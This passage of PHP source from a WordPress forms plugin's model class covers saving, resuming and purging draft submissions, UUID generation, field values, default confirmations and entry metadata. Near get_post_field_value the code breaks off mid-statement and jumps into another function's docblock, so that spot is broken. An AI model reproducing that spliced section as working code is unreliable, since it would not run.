strlen( $val2 ); if ( $start < 0 ) { return false; } $tail = substr( $val1, $start ); return $val2 == $tail; break; } return false; } /** * @param $form * @param GF_Field $field * @param $field_values * @param null $lead * * @return string */ private static function get_field_display( $form, $field, $field_values, $lead = null ) { if ( empty( $field ) ) { return 'show'; } $logic = $field->conditionalLogic; //if this field does not have any conditional logic associated with it, it won't be hidden if ( empty( $logic ) ) { return 'show'; } $is_visible = self::evaluate_conditional_logic( $form, $logic, $field_values, $lead ); return $is_visible ? 'show' : 'hide'; } public static function get_custom_choices() { $choices = get_option( 'gform_custom_choices' ); if ( ! $choices ) { $choices = array(); } return $choices; } public static function delete_custom_choice( $name ) { $choices = self::get_custom_choices(); if ( array_key_exists( $name, $choices ) ) { unset( $choices[ $name ] ); } update_option( 'gform_custom_choices', $choices ); } public static function save_custom_choice( $previous_name, $new_name, $choices ) { $all_choices = self::get_custom_choices(); if ( array_key_exists( $previous_name, $all_choices ) ) { unset( $all_choices[ $previous_name ] ); } $all_choices[ $new_name ] = $choices; update_option( 'gform_custom_choices', $all_choices ); } /** * Returns the value for a field. * * @param GF_Field $field * @param array $field_values * @param bool $get_from_post Whether to get the value from the $_POST array as opposed to $field_values * * @return array|mixed|string */ public static function get_field_value( &$field, $field_values = array(), $get_from_post = true ) { if ( ! $field instanceof GF_Field ) { $field = GF_Fields::create( $field ); } if ( $field->type == 'post_category' ) { $field = GFCommon::add_categories_as_choices( $field, '' ); } $value = $field->get_value_submission( $field_values, $get_from_post ); if ( $field->get_input_type() == 'list' && $field->enableColumns && $get_from_post && rgpost( 'is_submit_' . $field->formId ) ) { /** @var GF_Field_List $field */ $value = $field->create_list_array_recursive( $value ); } return $value; } /** * @deprecated 2.4 * * @param int $expiration_days * * @return false|int */ public static function purge_expired_incomplete_submissions( $expiration_days = 30 ) { _deprecated_function( 'GFFormsModel::purge_expired_incomplete_submissions', '2.4', 'GFFormsModel::purge_expired_draft_submissions' ); return self::purge_expired_draft_submissions( $expiration_days = 30 ); } /** * Purges expired draft submissions. * * @since 2.4 * * @param int $expiration_days * * @return false|int */ public static function purge_expired_draft_submissions( $expiration_days = 30 ) { global $wpdb; /** * Overrides the number of days until draft submissions are purged. * * @since 1.9 * * @param int $expiration_days The number of days until expiration. Defaults to 30. */ $expiration_days = apply_filters( 'gform_incomplete_submissions_expiration_days', $expiration_days ); $expiration_date = gmdate( 'Y-m-d H:i:s', time() - ( $expiration_days * 24 * 60 * 60 ) ); $table = version_compare( self::get_database_version(), '2.3-dev-1', '<' ) ? self::get_incomplete_submissions_table_name() : self::get_draft_submissions_table_name(); $query = array( 'delete' => 'DELETE', 'from' => sprintf( 'FROM %s', $table ), 'where' => $wpdb->prepare( 'WHERE date_created < %s', $expiration_date ), ); /** * Allows the query used to purge expired draft (save and continue) submissions to be overridden. * * @since 2.1.1.20 * * @param array $query The delete, from, and where arguments to be used when the query is performed. */ $query = apply_filters( 'gform_purge_expired_incomplete_submissions_query', $query ); $result = $wpdb->query( implode( "\n", $query ) ); return $result; } /** * * @deprecated 2.4 * * @param $token * * @return false|int */ public static function delete_incomplete_submission( $token ) { _deprecated_function( 'GFFormsModel::delete_incomplete_submission', '2.4', 'GFFormsModel::delete_draft_submission' ); return self::delete_draft_submission( $token ); } /** * Deletes a draft submission. * * @since 2.4 * * @param $token * * @return false|int */ public static function delete_draft_submission( $token ) { global $wpdb; $table = version_compare( self::get_database_version(), '2.3-dev-1', '<' ) ? self::get_incomplete_submissions_table_name() : self::get_draft_submissions_table_name(); $result = $wpdb->query( $wpdb->prepare( "DELETE FROM $table WHERE uuid = %s", $token ) ); return $result; } /** * * @deprecated 2.4 * * @param $form * @param $entry * @param $field_values * @param $page_number * @param $files * @param $form_unique_id * @param $ip * @param $source_url * @param string $resume_token * * @return bool|false|int|string */ public static function save_incomplete_submission( $form, $entry, $field_values, $page_number, $files, $form_unique_id, $ip, $source_url, $resume_token = '' ) { _deprecated_function( 'GFFormsModel::save_incomplete_submission', '2.4', 'GFFormsModel::save_draft_submission' ); return self::save_draft_submission( $form, $entry, $field_values, $page_number, $files, $form_unique_id, $ip, $source_url, $resume_token ); } /** * Saves the draft submission. * * @since 2.4 * * @param $form * @param $entry * @param $field_values * @param $page_number * @param $files * @param $form_unique_id * @param $ip * @param $source_url * @param string $resume_token * * @return bool|false|int|string */ public static function save_draft_submission( $form, $entry, $field_values, $page_number, $files, $form_unique_id, $ip, $source_url, $resume_token = '' ) { if ( ! is_array( $form['fields'] ) ) { return; } global $wpdb; $table = version_compare( self::get_database_version(), '2.3-dev-1', '<' ) ? self::get_incomplete_submissions_table_name() : self::get_draft_submissions_table_name(); $submitted_values = array(); foreach ( $form['fields'] as $field ) { /* @var GF_Field $field */ if ( $field->type == 'creditcard' ) { continue; } $submitted_values[ $field->id ] = RGFormsModel::get_field_value( $field, $field_values ); } /** * Allows the modification of submitted values before the draft submission is saved. * * @since 1.9 * * @param array $submitted_values The submitted values * @param array $form The Form object */ $submitted_values = apply_filters( 'gform_submission_values_pre_save', $submitted_values, $form ); $submission['submitted_values'] = $submitted_values; $submission['partial_entry'] = $entry; $submission['field_values'] = $field_values; $submission['page_number'] = $page_number; $submission['files'] = $files; $submission['gform_unique_id'] = $form_unique_id; // Issue a new token if no longer valid if ( ! empty( $resume_token ) ) { $sql = $wpdb->prepare("SELECT COUNT(*) FROM {$table} WHERE uuid = %s", $resume_token ); $count = $wpdb->get_var( $sql ); if ( $count != 1 ) { $resume_token = false; } } $is_new = empty( $resume_token ); if ( $is_new ) { $resume_token = self::get_uuid(); } $submission_json = json_encode( $submission ); $submission_json = self::filter_draft_submission_pre_save( $submission_json, $resume_token, $form ); if ( $is_new ) { $result = $wpdb->insert( $table, array( 'uuid' => $resume_token, 'form_id' => $form['id'], 'date_created' => current_time( 'mysql', true ), 'submission' => $submission_json, 'ip' => $ip, 'source_url' => $source_url, ), array( '%s', '%d', '%s', '%s', '%s', '%s', ) ); } else { $result = $wpdb->update( $table, array( 'form_id' => $form['id'], 'date_created' => current_time( 'mysql', true ), 'submission' => $submission_json, 'ip' => $ip, 'source_url' => $source_url, ), array( 'uuid' => $resume_token ), array( '%d', '%s', '%s', '%s', '%s', ), array( '%s' ) ); } /** * Fires after an draft submission is saved * * @since 1.9 * * @param array $submission Contains the partially submitted entry, fields, values, and files. * @param string $resume_token The unique resume token that was generated for this partial submission * @param array $form The Form object * @param array $entry The Entry object */ do_action( 'gform_incomplete_submission_post_save', $submission, $resume_token, $form, $entry ); return $result ? $resume_token : $result; } /** * Filters the submission json string before saving. * * @since 2.4 * * @param $submission_json * @param $resume_token * @param $form * * @return string */ private static function filter_draft_submission_pre_save( $submission_json, $resume_token, $form ) { /** * Allows the draft submission to be overridden before it is saved to the database. * * @since 2.3.3.1 * * @param string $submission_json { * JSON encoded associative array containing this incomplete submission. * * @type array $submitted_values The submitted values. * @type array $partial_entry The draft entry created from the submitted values. * @type null|array $field_values The dynamic population field values. * @type int $page_number The forms current page number. * @type array $files The uploaded file properties. * @type string $gform_unique_id The unique id for this submission. * } * @param string $resume_token The unique token which can be used to resume this incomplete submission at a later date/time. * @param array $form The form which this incomplete submission was created for. */ $submission_json = apply_filters( 'gform_incomplete_submission_pre_save', $submission_json, $resume_token, $form ); return $submission_json; } /** * Updates a draft submission. * * @since 2.4 * * @param string $resume_token The uuid of the draft submission to be updated. * @param array $form * @param string $date_created * @param string $ip * @param string $source_url * @param string $submission_json * * @return bool|false|int|string */ public static function update_draft_submission( $resume_token, $form, $date_created, $ip, $source_url, $submission_json ) { global $wpdb; $form_id = $form['id']; $submission_json = self::filter_draft_submission_pre_save( $submission_json, $resume_token, $form ); $table = version_compare( self::get_database_version(), '2.3-dev-1', '<' ) ? self::get_incomplete_submissions_table_name() : self::get_draft_submissions_table_name(); $result = $wpdb->update( $table, array( 'form_id' => $form_id, 'date_created' => $date_created, 'submission' => $submission_json, 'ip' => $ip, 'source_url' => $source_url, ), array( 'uuid' => $resume_token ), array( '%d', '%s', '%s', '%s', '%s', ), array( '%s' ) ); return $result ? $resume_token : $result; } /** * Returns a UUID. Uses openssl_random_pseudo_bytes() if available and falls back to mt_rand(). * * source: http://stackoverflow.com/questions/2040240/php-function-to-generate-v4-uuid * * @param string $s The separator e.g. '-' * * @return string */ public static function get_uuid( $s = '' ) { if ( function_exists( 'openssl_random_pseudo_bytes' ) ) { // PHP 5 >= 5.3.0 $data = openssl_random_pseudo_bytes( 16 ); $data[6] = chr( ord( $data[6] ) & 0x0f | 0x40 ); // set version to 0100 $data[8] = chr( ord( $data[8] ) & 0x3f | 0x80 ); // set bits 6-7 to 10 return vsprintf( "%s%s{$s}%s{$s}%s{$s}%s{$s}%s%s%s", str_split( bin2hex( $data ), 4 ) ); } else { return sprintf( "%04x%04x{$s}%04x{$s}%04x{$s}%04x{$s}%04x%04x%04x", // 32 bits for "time_low" mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ), // 16 bits for 'time_mid' mt_rand( 0, 0xffff ), // 16 bits for 'time_hi_and_version', // four most significant bits holds version number 4 mt_rand( 0, 0x0fff ) | 0x4000, // 16 bits, 8 bits for 'clk_seq_hi_res', // 8 bits for 'clk_seq_low', // two most significant bits holds zero and one for variant DCE1.1 mt_rand( 0, 0x3fff ) | 0x8000, // 48 bits for 'node' mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ), mt_rand( 0, 0xffff ) ); } } /** * @deprecated 2.4 * * @param $resume_token * * @return array|null|object */ public static function get_incomplete_submission_values( $resume_token ) { _deprecated_function( 'GFFormsModel::get_incomplete_submission_values', '2.4', 'GFFormsModel::get_draft_submission_values' ); return self::get_draft_submission_values( $resume_token ); } /** * Returns the values for the draft submission. * * @since 2.4 * * @param $resume_token * * @return array|null|object */ public static function get_draft_submission_values( $resume_token ) { global $wpdb; self::purge_expired_draft_submissions(); $table = version_compare( self::get_database_version(), '2.3-dev-1', '<' ) ? self::get_incomplete_submissions_table_name() : self::get_draft_submissions_table_name(); $sql = $wpdb->prepare( "SELECT date_created, form_id, submission, source_url FROM {$table} WHERE uuid = %s", $resume_token ); $row = $wpdb->get_row( $sql, ARRAY_A ); if ( ! empty( $row ) ) { $form = self::get_form_meta( $row['form_id'] ); $row['submission'] = self::filter_draft_submission_post_get( $row['submission'], $resume_token, $form ); } return $row; } /** * Filters the draft submission after reading it from the database. * * @since 2.4 * * @param $submission_json * @param $resume_token * @param $form * * @return string */ private static function filter_draft_submission_post_get( $submission_json, $resume_token, $form ) { /** * Allows the draft submission to be overridden after it is retrieved from the database but before it used to populate the form. * * @since 2.3.3.1 * * @param string $submission_json { * JSON encoded associative array containing the draft submission being resumed. * * @type array $submitted_values The submitted values. * @type array $partial_entry The draft entry created from the submitted values. * @type null|array $field_values The dynamic population field values. * @type int $page_number The forms current page number. * @type array $files The uploaded file properties. * @type string $gform_unique_id The unique id for this submission. * } * @param string $resume_token The unique token which was used to resume this incomplete submission. * @param array $form The form which this incomplete submission was created for. */ $submission_json = apply_filters( 'gform_incomplete_submission_post_get', $submission_json, $resume_token, $form ); return $submission_json; } /** * * @deprecated 2.4 * * @param $token * @param $email * * @return false|int */ public static function add_email_to_incomplete_sumbmission( $token, $email ) { _deprecated_function( 'GFFormsModel::add_email_to_incomplete_sumbmission', '2.4', 'GFFormsModel::add_email_to_draft_sumbmission' ); return self::add_email_to_draft_sumbmission( $token, $email ); } /** * Adds the email address to the draft submission. * * @since 2.4 * * @param $token * @param $email * * @return false|int */ public static function add_email_to_draft_sumbmission( $token, $email ) { global $wpdb; self::purge_expired_draft_submissions(); $table = version_compare( self::get_database_version(), '2.3-dev-1', '<' ) ? self::get_incomplete_submissions_table_name() : self::get_draft_submissions_table_name(); $sql = $wpdb->prepare( "UPDATE $table SET email = %s WHERE uuid = %s", $email, $token ); $result = $wpdb->query( $sql ); return $result; } public static function maybe_trim_input( $value, $form_id, $field ) { $trim_value = apply_filters( 'gform_trim_input_value', true, $form_id, $field ); if ( $trim_value ) { $value = is_array( $value ) ? GFCommon::trim_deep( $value ) : trim( $value ); } return $value; } public static function get_parameter_value( $name, $field_values, $field ) { $value = stripslashes_deep( rgget( $name ) ); if ( rgblank( $value ) ) { $value = rgget( $name, $field_values ); } // Converting list format if ( ! empty( $value ) && RGFormsModel::get_input_type( $field ) == 'list' ) { // Transforms this: col1|col2,col1b|col2b into this: col1,col2,col1b,col2b $column_count = is_array( $field->choices ) ? count( $field->choices ) : 0; $rows = is_array( $value ) ? $value : explode( ',', $value ); if ( ! empty( $rows ) ) { $ary_rows = array(); foreach ( $rows as $row ) { /** * Allow modification of the delimiter used to parse List field URL parameters. * * @since 2.0.0 * * @param string $delimiter Defaults to '|'; * @param array $field GF_Field object for the current field. * @param string $name Name of the current dynamic population parameter. * @param array $field_values Array of values provided for pre-population into the form. */ $delimiter = apply_filters( 'gform_list_field_parameter_delimiter', '|', $field, $name, $field_values ); $ary_rows = array_merge( $ary_rows, rgexplode( $delimiter, $row, $column_count ) ); } $value = $ary_rows; } } return gf_apply_filters( array( 'gform_field_value', $name ), $value, $field, $name ); } public static function get_default_value( $field, $input_id ) { if ( ! is_array( $field->choices ) ) { // if entry is saved in separate inputs get requsted input's default value ($input_id = 2.1) // some fields (like Date, Time) do not save their values in separate inputs and are correctly filtered out by this condition ($input_id = 2) // other fields (like Email w/ Confirm-enabled) also do not save their values in separate inputs but *should be* processed as input-specific submissions ($input_id = 2) if ( is_array( $field->get_entry_inputs() ) || ( $field->get_input_type() == 'email' && is_array( $field->inputs ) ) ) { $input = RGFormsModel::get_input( $field, $input_id ); return rgar( $input, 'defaultValue' ); } else { $value = $field->get_value_default(); if( ! IS_ADMIN ) { if( is_array( $value ) ) { foreach( $value as &$_value ) { $_value = GFCommon::replace_variables_prepopulate( $_value ); } } else { $value = GFCommon::replace_variables_prepopulate( $value ); } } return $value; } } else if ( $field->type == 'checkbox' ) { for ( $i = 0, $count = sizeof( $field->inputs ); $i < $count; $i ++ ) { $input = $field->inputs[ $i ]; $choice = $field->choices[ $i ]; if ( $input['id'] == $input_id && rgar( $choice, 'isSelected' ) ) { return $choice['value']; } } return ''; } else { foreach ( $field->choices as $choice ) { if ( rgar( $choice, 'isSelected' ) || $field->type == 'post_category' ) { return $choice['value']; } } return ''; } } /** * @param GF_Field $field * * @return string */ public static function get_input_type( $field ) { // TODO: Deprecate if ( ! $field instanceof GF_Field ) { return empty( $field['inputType'] ) ? $field['type'] : $field['inputType']; } return $field->get_input_type(); } private static function get_post_field_value( $field, $lead ) { if ( is_array( $field->get_entry_inputs() ) ) { $value = array(); foreach ( $field->inputs as $input ) { $val = isset( $lead[ strval( $input['id'] ) ] ) ? $lead[ strval( $input['id'] ) ] : ''; if ( ! empty( $val ) ) { // replace commas in individual values to prevent individual value from being split into multiple values (checkboxes, multiselects) if ( $field->get_input_type() === 'checkbox' ) { $val = str_replace( ',', ',', $val ); } $value[] = $val; } } $value = implode( ',', $value ); } else { $value = isset( $lead[ $field->id ] ) ? $lead[ $field->id ] : ''; if ( ! empty( $value ) && $field->get_input_type() === 'multiselect' ) { $items = $field->to_array( $value ); foreach ( $items as &$item ) { $item = str_replace( ',', ',', $item ); } $value = im @param GF_Field $field * @param $id * * @return null */ public static function get_input( $field, $id ) { if ( is_array( $field->inputs ) ) { foreach ( $field->inputs as $input ) { if ( $input['id'] == $id ) { return $input; } } } return null; } public static function has_input( $field, $input_id ) { if ( ! is_array( $field->inputs ) ) { return false; } else { foreach ( $field->inputs as $input ) { if ( $input['id'] == $input_id ) { return true; } } return false; } } public static function get_current_page_url( $force_ssl = false ) { $pageURL = 'http'; if ( RGForms::get( 'HTTPS', $_SERVER ) == 'on' || $force_ssl ) { $pageURL .= 's'; } $pageURL .= '://'; $pageURL .= RGForms::get( 'HTTP_HOST', $_SERVER ) . rgget( 'REQUEST_URI', $_SERVER ); return $pageURL; } public static function get_submitted_fields( $form_id ) { global $wpdb; if ( version_compare( self::get_database_version(), '2.3-dev-1', '<' ) ) { return GF_Forms_Model_Legacy::get_submitted_fields( $form_id ); } $entry_meta_table_name = self::get_entry_meta_table_name(); $field_list = ''; $fields = $wpdb->get_results( $wpdb->prepare( "SELECT DISTINCT meta_key FROM $entry_meta_table_name WHERE form_id=%d", $form_id ) ); foreach ( $fields as $field ) { $field_list .= intval( $field->meta_key ) . ','; } if ( ! empty( $field_list ) ) { $field_list = substr( $field_list, 0, strlen( $field_list ) - 1 ); } return $field_list; } /** * Returns the field object for the requested field or input ID from the supplied or specified form. * * @since 2.3 Updated to support being passed the form id or form object as the first parameter. * @since unknown. * @access public * * @param array|int $form_or_id The Form Object or ID. * @param string|int $field_id The field or input ID. * * @return GF_Field|null */ public static function get_field( $form_or_id, $field_id ) { $form = is_numeric( $form_or_id ) ? self::get_form_meta( $form_or_id ) : $form_or_id; if ( ! isset( $form['fields'] ) || ! isset( $form['id'] ) || ! is_array( $form['fields'] ) ) { return null; } if ( is_numeric( $field_id ) ) { // Removing floating part of field (i.e 1.3 -> 1) to return field by input id. $field_id = intval( $field_id ); } global $_fields; $key = $form['id'] . '_' . $field_id; $return = null; if (isset( $_fields[ $key ] ) ) { return $_fields[ $key ]; } $_fields[ $key ] = null; foreach ( $form['fields'] as $field ) { if ( $field->id == $field_id ) { $_fields[ $key ] = $field; $return = $field; break; } elseif ( is_array( $field->fields ) ) { $sub_field = self::get_sub_field( $field, $field_id ); if ( $sub_field ) { $_fields[ $key ] = $sub_field; return $sub_field; } } } return $return; } /** * Returns the field inside a repeater field with the specified ID. * * @since 2.4 * * @param GF_Field_Repeater $repeater_field The repeater field. * @param int $field_id The field ID. * * @return null|GF_Field */ public static function get_sub_field( $repeater_field, $field_id ) { if ( is_array( $repeater_field->fields ) ) { foreach ( $repeater_field->fields as $field ) { if ( $field->id == $field_id ) { return $field; } elseif ( is_array( $field->fields ) ) { $f = self::get_sub_field( $field, $field_id ); if ( $f ) { return $f; } } } } return null; } public static function is_html5_enabled() { return get_option( 'rg_gforms_enable_html5' ); } /** * Return the current lead being processed. Should only be called when a form has been submitted. * If called before the "real" lead has been saved to the database, uses self::create_lead() to create * a temporary lead to work with. */ public static function get_current_lead() { // if a GF submission is not in process, always return false if ( ! rgpost( 'gform_submit' ) ) { return false; } if ( ! self::$_current_lead ) { $form_id = absint( rgpost( 'gform_submit' ) ); $form = self::get_form_meta( $form_id ); self::$_current_lead = self::create_lead( $form ); } return self::$_current_lead; } /** * Set RGFormsModel::$lead for use in hooks where $lead is not explicitly passed. * * @param mixed $lead */ public static function set_current_lead( $lead ) { GFCache::flush(); self::$_current_lead = $lead; } /** * Converts the legacy confirmation from forms created prior to v1.7 to the current format or adds the default confirmation. * * @since 1.7 * @since 2.4.15 Fixed corrupt confirmation being created when form doesn't have one to convert. * * @param array $form The form being processed. * * @return array */ public static function convert_confirmation( $form ) { $confirmation = rgar( $form, 'confirmation' ); if ( ! empty( $confirmation['type'] ) ) { // Complete converting legacy confirmation by adding missing properties. $confirmation['id'] = uniqid(); $confirmation['name'] = esc_html__( 'Default Confirmation', 'gravityforms' ); $confirmation['isDefault'] = true; } else { // Form does not have a valid legacy confirmation add the default confirmation instead. $confirmation = self::get_default_confirmation(); } $form['confirmations'] = array( $confirmation['id'] => $confirmation ); self::save_form_confirmations( $form['id'], $form['confirmations'] ); return $form; } /** * Returns a default confirmation. * * @since 2.4.15 * * @param string $event The confirmation event. form_saved, form_save_email_sent, or an empty string for the default form submission event. * * @return array */ public static function get_default_confirmation( $event = '' ) { switch ( $event ) { case 'form_saved': return array( 'id' => uniqid( 'sc1' ), 'event' => 'form_saved', 'name' => __( 'Save and Continue Confirmation', 'gravityforms' ), 'isDefault' => true, 'type' => 'message', 'message' => __( '

Please use the following link to return and complete this form from any computer.

Note: This link will expire after 30 days.
Enter your email address if you would like to receive the link via email.

{save_email_input}

', 'gravityforms' ), 'url' => '', 'pageId' => '', 'queryString' => '', ); case 'form_save_email_sent': return array( 'id' => uniqid( 'sc2' ), 'event' => 'form_save_email_sent', 'name' => __( 'Save and Continue Email Sent Confirmation', 'gravityforms' ), 'isDefault' => true, 'type' => 'message', 'message' => __( 'Success!The link was sent to the following email address: {save_email}', 'gravityforms' ), 'url' => '', 'pageId' => '', 'queryString' => '', ); default: return array( 'id' => uniqid(), 'name' => __( 'Default Confirmation', 'gravityforms' ), 'isDefault' => true, 'type' => 'message', 'message' => __( 'Thanks for contacting us! We will get in touch with you shortly.', 'gravityforms' ), 'url' => '', 'pageId' => '', 'queryString' => '', ); } } public static function load_confirmations( $form ) { $confirmations = self::get_form_confirmations( $form['id'] ); // If there are no confirmations convert the legacy confirmation or add the default. if ( empty( $confirmations ) ) { $form = self::convert_confirmation( $form ); } else { $form['confirmations'] = $confirmations; } return $form; } public static function get_form_confirmations( $form_id ) { global $wpdb; $key = get_current_blog_id() . '_' . $form_id; if ( isset( self::$_confirmations[ $key ] ) ) { return self::$_confirmations[ $key ]; } $tablename = GFFormsModel::get_meta_table_name(); $sql = $wpdb->prepare( "SELECT confirmations FROM $tablename WHERE form_id = %d", $form_id ); $results = $wpdb->get_results( $sql, ARRAY_A ); $confirmations = rgars( $results, '0/confirmations', array() ); if ( ! empty( $confirmations ) ) { $confirmations = self::remove_corrupt_confirmations( self::unserialize( $confirmations ) ); } self::$_confirmations[ $key ] = $confirmations; return self::$_confirmations[ $key ]; } /** * Remove corrupt confirmations created by old versions of GFFormsModel::convert_confirmation(). * * @since 2.4.15 * * @param mixed $confirmations The confirmations to be processed. * * @return array */ public static function remove_corrupt_confirmations( $confirmations ) { if ( ! is_array( $confirmations ) ) { return array(); } foreach ( $confirmations as $id => $confirmation ) { if ( is_array( $confirmation ) && ! empty( $confirmation['type'] ) ) { continue; } unset( $confirmations[ $id ] ); } return $confirmations; } public static function save_form_confirmations( $form_id, $confirmations ) { return self::update_form_meta( $form_id, $confirmations, 'confirmations' ); } public static function save_form_notifications( $form_id, $notifications ) { return self::update_form_meta( $form_id, $notifications, 'notifications' ); } public static function get_form_ids( $active = true, $trash = false ) { global $wpdb; $table = self::get_form_table_name(); $sql = $wpdb->prepare( "SELECT id from $table where is_active = %d and is_trash = %d", (bool) $active, (bool) $trash ); $results = $wpdb->get_col( $sql ); return $results; } public static function get_entry_meta( $form_ids ) { global $_entry_meta; if ( $form_ids == 0 ) { $form_ids = self::get_form_ids(); } if ( ! is_array( $form_ids ) ) { $form_ids = array( $form_ids ); } $meta = array(); foreach ( $form_ids as $form_id ) { if ( ! isset( $_entry_meta[ $form_id ] ) ) { $_entry_meta = array(); $_entry_meta[ $form_id ] = apply_filters( 'gform_entry_meta', array(), $form_id ); } $meta = array_merge( $meta, $_entry_meta[ $form_id ] ); } return $meta; } public static function set_entry_meta( $lead, $form ) { $entry_meta = self::get_entry_meta( $form['id'] ); $keys = array_keys( $entry_meta ); foreach ( $keys as $key ) { if ( isset( $entry_meta[ $key ]['update_entry_meta_callback'] ) ) { $callback = $entry_meta[ $key ]['update_entry_meta_callback']; $value = call_user_func_array( $callback, array( $key, $lead, $form ) ); gform_update_meta( $lead['id'], $key, $value ); $lead[ $key ] = $value; } } return $lead; } /** * * @param $form_id * @param array $search_criteria * @param null $sorting * @param null $paging * * @return array */ public static function search_leads( $form_id, $search_criteria = array(), $sorting = null, $paging = null ) { return GFAPI::get_entries( $form_id, $search_criteria, $sorting, $paging ); } public static function search_lead_ids( $form_id, $search_criteria = array() ) { return GFAPI::get_entry_ids( $form_id, $search_criteria ); } /** * Returns the gf_entry table field names. * * @since 2.3.2.13 Added date_updated. * @since unknown * * @return array */ public static function get_lead_db_columns() { return array( 'id', 'form_id', 'post_id', 'date_created', 'date_updated', 'is_starred', 'is_read', 'ip', 'source_url', 'user_agent', 'currency', 'payment_status', 'payment_date', 'payment_amount', 'transaction_id', 'is_fulfilled', 'created_by', 'transaction_type', 'status', 'payment_method' ); } /** * * @param $form_id * @param array $search_criteria * * @return null|string */ public static function count_search_leads( $form_id, $search_criteria = array() ) { return GFAPI::count_entries( $form_id, $search_criteria ); } /** * Returns the lead (entry) count for all forms. * * @param string $status * * @return null|string */ public static function get_lead_count_all_forms( $status = 'active' ) { return self::get_entry_count_all_forms( $status ); } /** * Returns the entry count for all forms. * * @param string $status * * @return null|string */ public static function get_entry_count_all_forms( $status = 'active' ) { global $wpdb; if ( version_compare( self::get_database_version(), '2.3-dev-1', '<' ) ) { return GF_Forms_Model_Legacy::get_lead_count_all_forms( $status ); } $entry_table_name = self::get_entry_table_name(); if ( ! GFCommon::table_exists( $entry_table_name ) ) { return 0; } $sql = $wpdb->prepare( "SELECT count(id) FROM $entry_table_name WHERE status=%s", $status ); return $wpdb->get_var( $sql ); } public static function get_entry_meta_counts() { global $wpdb; if ( version_compare( self::get_database_version(), '2.3-dev-1', '<' ) ) { return GF_Forms_Model_Legacy::get_entry_meta_counts(); } $meta_table_name = self::get_entry_meta_table_name(); $notes_table_name = self::get_entry_notes_table_name(); if ( ! GFCommon::table_exists( $meta_table_name ) ) { return array( 'details' => 0, 'meta' => 0, 'notes' => 0, ); } $results = $wpdb->get_results( " SELECT (SELECT count(0) FROM $meta_table_name) as meta, (SELECT count(0) FROM $notes_table_name) as notes " ); return array( 'details' => intval( $results[0]->meta ), 'meta' => intval( $results[0]->meta ), 'notes' => intval( $results[0]->notes ), ); } /** * @deprecated 2.2 Use gf_upgrade()->dbDelta() instead */ public static function dbDelta( $sql ) { _deprecated_function( 'dbDelta', '2.2', 'gf_upgrade()->dbDelta()' ); gf_upgrade()->dbDelta( $sql ); } public static function get_db_charset() { global $wpdb; if ( ! empty( $wpdb->charset ) ) { $charset_collate = "DEFAULT CHARACTER SET $wpdb->charset"; } if ( ! empty( $wpdb->collate ) ) { $charset_collate .= " COLLATE $wpdb->collate"; } return $charset_collate; } public static function is_valid_table( $table_name ){ global $wpdb; $tables = array( GFFormsModel::get_form_table_name(), GFFormsModel::get_form_view_table_name(), GFFormsModel::get_meta_table_name(), GFFormsModel::get_lead_table_name(), GFFormsModel::get_lead_notes_table_name(), GFFormsModel::get_lead_details_table_name(), GFFormsModel::get_lead_details_long_table_name(), GFFormsModel::get_lead_meta_table_name(), GFFormsModel::get_incomplete_submissions_table_name(), "{$wpdb->prefix}gf_addon_feed", "{$wpdb->prefix}gf_addon_payment_transaction", "{$wpdb->prefix}gf_addon_payment_callback", GFFormsModel::get_entry_table_name(), GFFormsModel::get_entry_notes_table_name(), GFFormsModel::get_entry_meta_table_name(), GFFormsModel::get_draft_submissions_table_name(), ); return in_array( $table_name, $tables ); } public static function is_valid_index( $index_name ){ $indexes = array( 'id', 'form_id', 'status', 'lead_id', 'lead_user_key', 'lead_field_number', 'lead_detail_id', 'lead_detail_key', 'meta_key', 'form_id_meta_key', 'uuid', 'transaction_type', 'type_lead', 'slug_callback_id', 'addon_slug_callback_id', 'addon_form', ); return in_array( $index_name, $indexes ); } /** * Trims values inside choice texts, choice values, input labels, field labels and field conditionalLogic * * @param array $form Form object. * @param bool $form_updated Output parameter. * * @return array $form */ public static function trim_form_meta_values( $form, &$form_updated = false ) { $form_id = $form['id']; GFCommon::log_debug( 'GFFormsModel::trim_form_meta_values(): Starting.' ); if ( isset( $form['fields'] ) && is_array( $form['fields'] ) ) { foreach ( $form['fields'] as &$field ) { $trim_value = apply_filters( 'gform_trim_input_value', true, $form_id, $field ); if ( ! $trim_value ) { continue; } if ( isset( $field->label ) && $field->label != trim( $field->label ) ) { $field->label = trim( $field->label ); $form_updated = true; } if ( is_array( $field->choices ) ) { foreach ( $field->choices as &$choice ) { if ( isset( $choice['text'] ) && $choice['text'] != trim( $choice['text'] ) ) { $choice['text'] = trim( $choice['text'] ); $form_updated = true; } if ( isset( $choice['value'] ) && $choice['value'] != trim( $choice['value'] ) ) { $choice['value'] = trim( $choice['value'] ); $form_updated = true; } } } if ( is_array( $field->inputs ) ) { foreach ( $field->inputs as &$input ) { if ( isset( $input['label'] ) && $input['label'] != trim( $input['label'] ) ) { $input['label'] = trim( $input['label'] ); $form_updated = true; } } } } $form['fields'] = GFFormsModel::trim_conditional_logic_values( $form['fields'], $form, $form_updated ); } if ( $form_updated ) { GFCommon::log_debug( 'GFFormsModel::trim_form_meta_values(): Form values trimmed.' ); } return $form; } /** * Trims values from an array of elements e.g. notifications and confirmations * * @param array $meta_array Form object. * @param array $form Form object. * @param bool $updated Output parameter. * * @return array $meta_array */ public static function trim_conditional_logic_values( $meta_array, $form, &$updated = false ) { GFCommon::log_debug( 'GFFormsModel::trim_conditional_logic_values(): Starting.' ); if ( is_array( $meta_array ) ) { foreach ( $meta_array as &$meta ) { $meta = self::trim_conditional_logic_values_from_element( $meta, $form, $updated ); } } if ( $updated ) { GFCommon::log_debug( 'GFFormsModel::trim_conditional_logic_values(): Conditional logic values trimmed.' ); } return $meta_array; } /** * Trims values from elements e.g. fields, notifications and confirmations * * @param array $element Form object. * @param array $form Form object. * @param bool $updated Output parameter. * * @return array $element */ public static function trim_conditional_logic_values_from_element( $element, $form = array(), &$updated = false ) { if ( $element instanceof GF_Field ) { /* @var GF_Field $element */ if ( is_array( $element->conditionalLogic ) && isset( $element->conditionalLogic['rules'] ) && is_array( $element->conditionalLogic['rules'] ) ) { foreach ( $element->conditionalLogic['rules'] as &$rule ) { $value = (string) $rule['value']; if ( $value !== trim( $value ) ) { $field = isset( $form['fields'] ) ? GFFormsModel::get_field( $form, $rule['fieldId'] ) : array(); $trim_value = apply_filters( 'gform_trim_input_value', true, rgar( $form, 'id' ), $field ); if ( $trim_value ) { $rule['value'] = trim( $rule['value'] ); $updated = true; } } } } } else { if ( isset( $element['conditionalLogic'] ) && is_array( $element['conditionalLogic'] ) && isset( $element['conditionalLogic']['rules'] ) && is_array( 